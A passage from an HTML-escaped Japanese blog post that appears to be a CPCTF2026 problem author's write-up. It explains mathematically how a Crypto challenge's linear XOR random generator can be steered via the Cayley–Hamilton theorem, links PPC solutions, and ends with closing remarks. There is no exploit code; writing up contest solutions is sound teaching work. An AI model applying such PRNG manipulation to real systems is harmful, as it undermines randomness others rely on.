mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span></span></span></span>&#x3092;&#x5BA3;&#x8A00;&#x3059;&#x308B;&#x6574;&#x6570;&#x306B;&#x8A2D;&#x5B9A;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<p>&#x30B1;&#x30A4;&#x30EA;&#x30FC;&#x30FB;&#x30CF;&#x30DF;&#x30EB;&#x30C8;&#x30F3;&#x306E;&#x5B9A;&#x7406;&#x3092;&#x7528;&#x3044;&#x308B;&#x3068;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span>&#x306E;&#x56FA;&#x6709;&#x591A;&#x9805;&#x5F0F;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>&#x306B;&#x3064;&#x3044;&#x3066;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span></span></span></span>&#x304C;&#x308F;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;<br>
&#x56FA;&#x6709;&#x591A;&#x9805;&#x5F0F;&#x306E;&#x4FC2;&#x6570;&#x306E;&#x3046;&#x3061;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>&#x3067;&#x3042;&#x308B;&#x6B21;&#x6570;&#x306E;&#x307F;&#x304B;&#x3089;&#x306A;&#x308B;&#x96C6;&#x5408;&#x3092;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span>&#x306B;&#x8A2D;&#x5B9A;&#x3067;&#x304D;&#x308C;&#x3070; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1762em;vertical-align:-0.3271em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">&#x2A01;</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1864em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mrel mtight">&#x2208;</span><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.3271em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1762em;vertical-align:-0.3271em;"></span><span class="mopen">(</span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">&#x2A01;</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1864em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mrel mtight">&#x2208;</span><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.3271em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord"><span class="mord"><span class="mord mathbf">0</span></span></span></span></span></span> &#x3068;&#x306A;&#x308A;&#x3001;&#x521D;&#x671F;&#x306E;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x306B;&#x95A2;&#x4FC2;&#x306A;&#x304F;&#x5BA3;&#x8A00;&#x3059;&#x308B;&#x6574;&#x6570;&#x3092;0&#x306B;&#x8A2D;&#x5B9A;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>&#x306E;&#x6B21;&#x6570;&#x306F;64&#x4EE5;&#x4E0B;&#x3067;&#x3042;&#x308B;&#x305F;&#x3081;&#x3001;&#x4E71;&#x6570;&#x5217;&#x306E;&#x6700;&#x521D;&#x306E;65&#x8981;&#x7D20;&#x3092;&#x5229;&#x7528;&#x3059;&#x308C;&#x3070;&#x7DCF;xor&#x3092;0&#x306B;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<p>&#x4ECA;&#x56DE;&#x306E;&#x554F;&#x984C;&#x3067;&#x306F;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> (=<code>luck_pattern</code>)&#x3092;&#x81EA;&#x7531;&#x306B;&#x64CD;&#x4F5C;&#x3067;&#x304D;&#x308B;&#x305F;&#x3081;&#x3001;&#x3053;&#x308C;&#x3067;NPC&#x5168;&#x3066;&#x306E;&#x5BA3;&#x8A00;&#x3059;&#x308B;&#x6574;&#x6570;&#x3092;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>&#x306B;&#x56FA;&#x5B9A;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p>&#x5B9F;&#x969B;&#x306B;&#x306F;&#x4EFB;&#x610F;&#x306E;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathbb">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>&#x591A;&#x9805;&#x5F0F;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>&#x306B;&#x3064;&#x3044;&#x3066;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x22C5;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span></span></span></span>&#x3068;&#x306A;&#x308B;&#x305F;&#x3081;&#x3001;&#x4ECA;&#x56DE;&#x306E;<code>luck_pattern</code>&#x5168;&#x4F53;(<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathbb">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>&#x4E0A;&#x306E;&#x6B21;&#x6570;120&#x672A;&#x6E80;&#x306E;&#x591A;&#x9805;&#x5F0F;)&#x306E;&#x3046;&#x3061;NPC&#x306E;&#x5BA3;&#x8A00;&#x3059;&#x308B;&#x6574;&#x6570;&#x3092;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>&#x306B;&#x56FA;&#x5B9A;&#x3067;&#x304D;&#x308B;<code>luck_pattern</code>&#x306F;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">120</span><span class="mbin mtight">&#x2212;</span><span class="mord mtight">65</span></span></span></span></span></span></span></span></span></span></span></span>&#x901A;&#x308A;&#x5B58;&#x5728;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<p>&#x63D0;&#x793A;&#x3055;&#x308C;&#x305F;<code>luck_pattern</code>&#x3092;&#x5C11;&#x3057;&#x5909;&#x66F4;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x3053;&#x306E;&#x30D1;&#x30BF;&#x30FC;&#x30F3;&#x306E;&#x3069;&#x308C;&#x304B;&#x3092;&#x4F5C;&#x308A;&#x3001;&#x3055;&#x3089;&#x306B;&#x3001;&#x81EA;&#x5206;&#x306E;&#x5BA3;&#x8A00;&#x3059;&#x308B;&#x6574;&#x6570; mod 101 &#x304C;<code>player_no</code>&#x306B;&#x306A;&#x308B;&#x3088;&#x3046;&#x306B;&#x3057;&#x307E;&#x3059;&#x3002;&#x5909;&#x66F4;&#x306B;&#x306F;&#x56DE;&#x6570;&#x5236;&#x9650;&#x304C;&#x3042;&#x308B;&#x306E;&#x3067;&#x3067;&#x304D;&#x308B;&#x3060;&#x3051;&#x5909;&#x66F4;&#x56DE;&#x6570;&#x304C;&#x5C11;&#x306A;&#x3044;&#x3082;&#x306E;&#x3092;&#x9078;&#x3073;&#x305F;&#x3044;&#x3067;&#x3059;&#x3002;&#x5909;&#x66F4;&#x56DE;&#x6570;&#x306F;&#x6700;&#x521D;&#x306E;<code>luck_pattern</code>&#x3068;&#x76EE;&#x6A19;&#x3068;&#x306A;&#x308B;<code>luck_pattern</code>&#x306E;&#x30CF;&#x30DF;&#x30F3;&#x30B0;&#x8DDD;&#x96E2;&#x306B;&#x306A;&#x308B;&#x3053;&#x3068;&#x3001;&#x56FA;&#x6709;&#x591A;&#x9805;&#x5F0F;&#x306E;&#x591A;&#x9805;&#x5F0F;&#x500D;&#x306F;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>&#x306E;&#x7DDA;&#x578B;&#x7D50;&#x5408;&#x306B;&#x306A;&#x308B;&#x3053;&#x3068;&#x3092;&#x8003;&#x3048;&#x308B;&#x3068;&#x7DDA;&#x578B;&#x7B26;&#x53F7;&#x306E;&#x5FA9;&#x53F7;&#x306B;&#x898B;&#x3048;&#x307E;&#x3059;&#x304C;&#x3001;&#x8DDD;&#x96E2;&#x6700;&#x5C0F;&#x306E;&#x3082;&#x306E;&#x3092;&#x3068;&#x3089;&#x306A;&#x304F;&#x3068;&#x3082;&#x5E73;&#x5747;&#x3067;&#x8DDD;&#x96E2;30&#x4EE5;&#x4E0B;&#x3092;&#x53D6;&#x308C;&#x3070;&#x826F;&#x3044;&#x306E;&#x3067;&#x611A;&#x76F4;&#x306A;&#x63A2;&#x7D22;&#x3067;&#x3082;&#x9593;&#x306B;&#x5408;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<h3 id="%E6%84%9F%E6%83%B3">&#x611F;&#x60F3;</h3>
<p>&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;2&#x3064;&#x76EE;&#x3002;<br>
&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#x3092;2&#x554F;&#x51FA;&#x984C;&#x3057;&#x3066;&#x3057;&#x307E;&#x3063;&#x305F;&#x305B;&#x3044;&#x3067;&#x9593;&#x9055;&#x3048;&#x3066;&#x5225;&#x306E;&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#x306E;flag&#x3092;&#x63D0;&#x51FA;&#x3059;&#x308B;&#x4EBA;&#x304C;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x554F;&#x984C;&#x540D;&#x3092;&#x8AAD;&#x3093;&#x3067;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p>
<p>&#x7DDA;&#x5F62;&#x306A;&#x4E71;&#x6570;&#x751F;&#x6210;&#x5668;&#x306F;&#x3053;&#x308C;&#x304C;&#x3067;&#x304D;&#x308B;&#x3068;&#x3044;&#x3046;&#x306E;&#x306F;&#x77E5;&#x3063;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x304C;&#x3001;&#x5B9F;&#x969B;&#x306B;&#x69CB;&#x7BC9;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x672C;&#x5F53;&#x306B;&#x3067;&#x304D;&#x3066;&#x3057;&#x307E;&#x3063;&#x3066;&#x30B7;&#x30E7;&#x30C3;&#x30AF;&#x3092;&#x53D7;&#x3051;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p>&#x3053;&#x306E;&#x4EBA;&#x304C;&#x4F5C;&#x3063;&#x305F;&#x554F;&#x984C;&#x5168;&#x90E8;&#x4E71;&#x6570;&#x3058;&#x3083;&#x3093;&#x3002;&#x306A;&#x3093;&#x3067;&#xFF1F;</p>
<h2 id="ppc-lv3-sum-of-prod-of-root">[PPC] Lv.3 Sum of Prod of Root</h2>
<p>&#x554F;&#x984C;&#x30FB;&#x89E3;&#x8AAC;&#x306F;yukicoder&#x306B;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;<br>
<a href="https://yukicoder.me/problems/no/3505?ref=trap.jp">https://yukicoder.me/problems/no/3505</a></p>
<p>PPC&#x30B8;&#x30E3;&#x30F3;&#x30EB;&#x306E;&#x96E3;&#x6613;&#x5EA6;&#x9806;&#x30BD;&#x30FC;&#x30C8;&#x3001;&#x8A55;&#x4FA1;&#x306E;&#x78BA;&#x8A8D;&#x3092;&#x62C5;&#x5F53;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x96E3;&#x6613;&#x5EA6;&#x8A55;&#x4FA1;&#x306B;&#x5931;&#x6557;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x3054;&#x3081;&#x3093;&#x306A;&#x3055;&#x3044;&#x3002;</p>
<p>&#x3067;&#x3082;&#x9AD8;&#x6821;&#x6570;&#x5B66;&#x3068;&#x8A00;&#x308F;&#x308C;&#x305F;&#x3089;2.5&#x4ED8;&#x3051;&#x305F;&#x304F;&#x306A;&#x308A;&#x307E;&#x305B;&#x3093;&#x304B;&#xFF1F;(&#x8A00;&#x3044;&#x8A33;)</p>
<h2 id="ppc-lv4-or-mapping">[PPC] Lv.4 OR Mapping</h2>
<p>&#x554F;&#x984C;&#x30FB;&#x89E3;&#x8AAC;&#x306F;yukicoder&#x306B;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;<br>
<a href="https://yukicoder.me/problems/no/3508?ref=trap.jp">https://yukicoder.me/problems/no/3508</a></p>
<p><a href="https://trap.jp/author/n3/">@n3</a>&#x306B;&#x3088;&#x308B;&#x539F;&#x6848;&#x63D0;&#x6848;&#x6642;&#x306B;&#x306F;&#x7121;&#x5411;&#x30B0;&#x30E9;&#x30D5;&#x306E;&#x8A2D;&#x5B9A;&#x3067;&#x3057;&#x305F;&#x304C;&#x3001;&#x6709;&#x5411;&#x30B0;&#x30E9;&#x30D5;&#x3067;&#x3082;&#x89E3;&#x3051;&#x308B;&#x3053;&#x3068;&#x3092;&#x4E3B;&#x5F35;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x7121;&#x5411;&#x30B0;&#x30E9;&#x30D5;&#x3067;&#x3082;&#x6709;&#x5411;&#x30B0;&#x30E9;&#x30D5;&#x3067;&#x3082;&#x5076;&#x5947;&#x6027;&#x3060;&#x3051;&#x306E;&#x5224;&#x5B9A;&#x3067;&#x3059;&#x304C;&#x3001;&#x5F37;&#x9023;&#x7D50;&#x6210;&#x5206;&#x3092;&#x307E;&#x305F;&#x3050;&#x79FB;&#x52D5;&#x306B;&#x3088;&#x308A;&#x5076;&#x5947;&#x6027;&#x306E;&#x81EA;&#x7531;&#x5EA6;&#x304C;&#x5897;&#x3048;&#x3066;&#x96E3;&#x3057;&#x304F;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<h2 id="ppc-lv5-rps-eliminations">[PPC] Lv.5 RPS Eliminations</h2>
<p>&#x554F;&#x984C;&#x30FB;&#x89E3;&#x8AAC;&#x306F;yukicoder&#x306B;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;<br>
<a href="https://yukicoder.me/problems/no/3510?ref=trap.jp">https://yukicoder.me/problems/no/3510</a></p>
<p>&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;3&#x3064;&#x76EE;&#x3002;&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#x3068;PPC&#x306E;&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x306B;&#x306A;&#x3063;&#x3066;&#x3057;&#x307E;&#x3063;&#x305F;&#x2026;&#x2026;</p>
<details><summary>&#x30D5;&#x30C3;&#x30C8;&#x30D6;&#x30EC;&#x30FC;&#x30AD;&#x3092;&#x4F7F;&#x3044;&#x3059;&#x304E;&#x3066;&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#x306B;&#x5F31;&#x304F;&#x306A;&#x3063;&#x3066;&#x3057;&#x307E;&#x3046;&#x73FE;&#x8C61;&#x3063;&#x3066;&#x306A;&#x30FC;&#x3093;&#x3060;&#xFF1F;</summary>
&#x30DA;&#x30FC;&#x30D1;&#x30FC;&#x30ED;&#x30C3;&#x30AF;&#x73FE;&#x8C61;
</details>
<p>RPS&#x3092;&#x5229;&#x7528;&#x3057;&#x305F;&#x6700;&#x9069;&#x5316;&#x306E;&#x554F;&#x984C;&#x3092;&#x4F5C;&#x308D;&#x3046;&#x3068;&#x3044;&#x3046;&#x4F1A;&#x8A71;&#x304C;&#x3042;&#x308A;&#x3001;&#x305D;&#x3053;&#x304B;&#x3089;&#x4F5C;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x6728;&#x69CB;&#x9020;&#x306B;&#x306A;&#x308B;&#x3053;&#x3068;&#x306F;&#x3059;&#x3050;&#x306B;&#x308F;&#x304B;&#x308A;&#x305D;&#x306E;&#x5F8C;&#x3069;&#x3046;&#x3057;&#x3088;&#x3046;&#x304B;&#x8003;&#x3048;&#x3066;&#x3044;&#x305F;&#x3089;&#x89E3;&#x3044;&#x3066;&#x3082;&#x3089;&#x3048;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p>&#x6700;&#x7D42;&#x7D50;&#x679C;&#x3092;&#x6C7A;&#x3081;&#x308B;&#x3068;&#x5168;&#x4F53;&#x3067;&#x4F55;&#x901A;&#x308A;&#x3042;&#x308B;&#x304B;&#x306F;&#x5B9A;&#x307E;&#x308B;&#x306E;&#x3067;&#x5B58;&#x5728;&#x5224;&#x5B9A;&#x306F;&#x3067;&#x304D;&#x307E;&#x3059;&#x306D;&#x3002;&#x5BFE;&#x79F0;&#x6027;&#x304C;&#x3042;&#x308B;&#x306E;&#x3067;&#x8B70;&#x8AD6;&#x3082;&#x697D;&#x3067;&#x3059;&#x3002;<br>
&#x90E8;&#x5206;&#x6728;&#x306B;&#x3064;&#x3044;&#x3066;&#x3082;&#x540C;&#x69D8;&#x306B;&#x6570;&#x3060;&#x3051;&#x306F;&#x5B9A;&#x307E;&#x308B;&#x306E;&#x3067;DFS&#x3067;prefix&#x3092;&#x69CB;&#x7BC9;&#x3059;&#x308B;&#x969B;&#x306B;suffix&#x90E8;&#x5206;&#x304C;&#x4F55;&#x901A;&#x308A;&#x3042;&#x308B;&#x304B;&#x3092;&#x8003;&#x616E;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x9762;&#x767D;&#x3044;&#x3067;&#x3059;&#x306D;&#x3002;</p>
<h2 id="%E7%B5%82%E3%82%8F%E3%82%8A%E3%81%AB">&#x7D42;&#x308F;&#x308A;&#x306B;</h2>
<p>CPCTF2026&#x3078;&#x53C2;&#x52A0;&#x3057;&#x3066;&#x3044;&#x305F;&#x3060;&#x3044;&#x305F;&#x307F;&#x306A;&#x3055;&#x307E;&#x3001;&#x3054;&#x53C2;&#x52A0;&#x3042;&#x308A;&#x304C;&#x3068;&#x3046;&#x3054;&#x3056;&#x3044;&#x307E;&#x3057;&#x305F;&#xFF01;</p>
<p>&#x53BB;&#x5E74;&#x306B;&#x5F15;&#x304D;&#x7D9A;&#x304D;&#x3001;PPC&#x3068;Crypto&#x306E;&#x554F;&#x984C;&#x3092;&#x4F5C;&#x3063;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x6570;&#x5B66;&#x3063;&#x307D;&#x3044;&#x4F55;&#x304B;&#x3092;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3063;&#x307D;&#x3044;&#x4F55;&#x304B;&#x306B;&#x9069;&#x7528;&#x3057;&#x3066;&#x4F55;&#x304B;&#x3092;&#x4F5C;&#x308B;&#x3001;&#x58CA;&#x3059;&#x3068;&#x3044;&#x3046;&#x4F53;&#x9A13;&#x3092;&#x63D0;&#x4F9B;&#x3067;&#x304D;&#x3066;&#x3044;&#x305F;&#x3089;&#x5B09;&#x3057;&#x3044;&#x3067;&#x3059;&#x3002;</p>
<p>&#x53BB;&#x5E74;&#x307E;&#x3067;&#x3060;&#x3068;Lv.5&#x76F8;&#x5F53;&#x306E;&#x554F;&#x984C;&#x306F;10&#x4EBA;&#x7A0B;&#x5EA6;&#x306B;&#x3057;&#x304B;&#x89E3;&#x304B;&#x308C;&#x306A;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x4ECA;&#x5E74;&#x306F;50&#x4EBA;&#x8FD1;&#x304F;&#x306E;&#x53C2;&#x52A0;&#x8005;&#x306B;&#x89E3;&#x3044;&#x3066;&#x3044;&#x305F;&#x3060;&#x3051;&#x307E;&#x3057;&#x305F;&#x3002;&#x591A;&#x304F;&#x306E;&#x4EBA;&#x306B;&#x89E3;&#x3044;&#x3066;&#x3044;&#x305F;&#x3060;&#x304D;&#x5927;&#x5909;&#x5B09;&#x3057;&#x3044;&#x3067;&#x3059;&#x3002;</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn-btxqz6d-1" class="footnote-item"><p>&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5E81;&#x3001;&#x7DCF;&#x52D9;&#x7701;&#x3001;&#x7D4C;&#x6E08;&#x7523;&#x696D;&#x7701;&#x304C;&#x5B9A;&#x3081;&#x308B;&#x96FB;&#x5B50;&#x653F;&#x5E9C;&#x306B;&#x304A;&#x3051;&#x308B;&#x8ABF;&#x9054;&#x306E;&#x305F;&#x3081;&#x306B;&#x53C2;&#x7167;&#x3059;&#x3079;&#x304D;&#x6697;&#x53F7;&#x3067;&#x3059;&#x3002;&#x901A;&#x5E38;&#x306F;<strong>&#x63A8;&#x5968;&#x6697;&#x53F7;&#x30EA;&#x30B9;&#x30C8;</strong>&#x306B;&#x8F09;&#x3063;&#x3066;&#x3044;&#x308B;&#x3082;&#x306E;&#x3092;&#x4F7F;&#x3046;&#x3053;&#x3068;&#x306B;&#x306A;&#x308A;&#x3001;&#x63A8;&#x5968;<strong>&#x5019;&#x88DC;</strong>&#x6697;&#x53F7;&#x306F;&#x3042;&#x307E;&#x308A;&#x4F7F;&#x308F;&#x308C;&#x307E;&#x305B;&#x3093;&#x3002; <a href="#fnref-btxqz6d-1" class="footnote-backref">&#x21A9;&#xFE0E;</a></p>
</li>
</ol>
</section>
